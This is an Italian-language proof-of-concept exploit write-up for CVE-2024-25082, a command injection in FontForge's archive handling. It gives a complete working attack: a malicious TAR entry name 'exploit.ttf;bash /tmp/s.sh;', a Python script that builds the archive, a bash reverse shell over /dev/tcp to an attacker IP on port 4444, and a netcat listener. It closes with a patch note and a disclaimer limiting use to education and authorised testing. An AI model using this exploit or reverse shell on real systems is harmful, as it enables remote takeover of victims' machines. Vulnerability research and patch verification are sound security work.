
Vulnerabilità di iniezione di comandi tramite nome file appositamente creato in FontForge Splinefont
Exploit proof-of-concept per due vulnerabilità di command injection in FontForge ≤ 20230101 (componente Splinefont).
| CVE | Vector | Trigger |
|---|---|---|
| CVE-2024-25081 | Nome file modificato | Apertura diretta del file |
| CVE-2024-25082 | Nome file di archivio modificato | Estrazione TAR/ZIP/GZ/BZ2 |
Questo PoC ha come target CVE-2024-25082 — L'estrazione automatica degli archivi di FontForge passa i nomi dei file a una shell senza sanificazione, consentendo a un payload delimitato da punto e virgola incorporato nel nome di una voce TAR di eseguire comandi arbitrari.
FontForge supporta l'apertura di file di font direttamente dagli archivi. Quando estrae un archivio TAR, il componente Splinefont costruisce un comando shell utilizzando il nome del file dalla voce dell'archivio. Poiché il nome del file non è sanificato, un punto e virgola (;) nel nome della voce esce dal comando previsto e inietta istruzioni shell arbitrarie.
Nome voce TAR dannoso:
exploit.ttf;bash /tmp/s.sh;
Quando FontForge elabora questo archivio, la shell interpreta:
<extract command> exploit.ttf ; bash /tmp/s.sh ;
192.168.1.20:4444 (modificare secondo necessità)tarfile)netcat sulla macchina dell'attaccantenc -lvnp 4444
# Write the reverse shell payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh
# Build the malicious archive
python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF
fontforge exploit.tar
Una reverse shell si collegherà al tuo listener.
Corretto in FontForge post-20230101 tramite PR #5367. Aggiorna all'ultima versione.
sudo apt upgrade fontforgeQuesto codice Proof of Concept (PoC) è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati.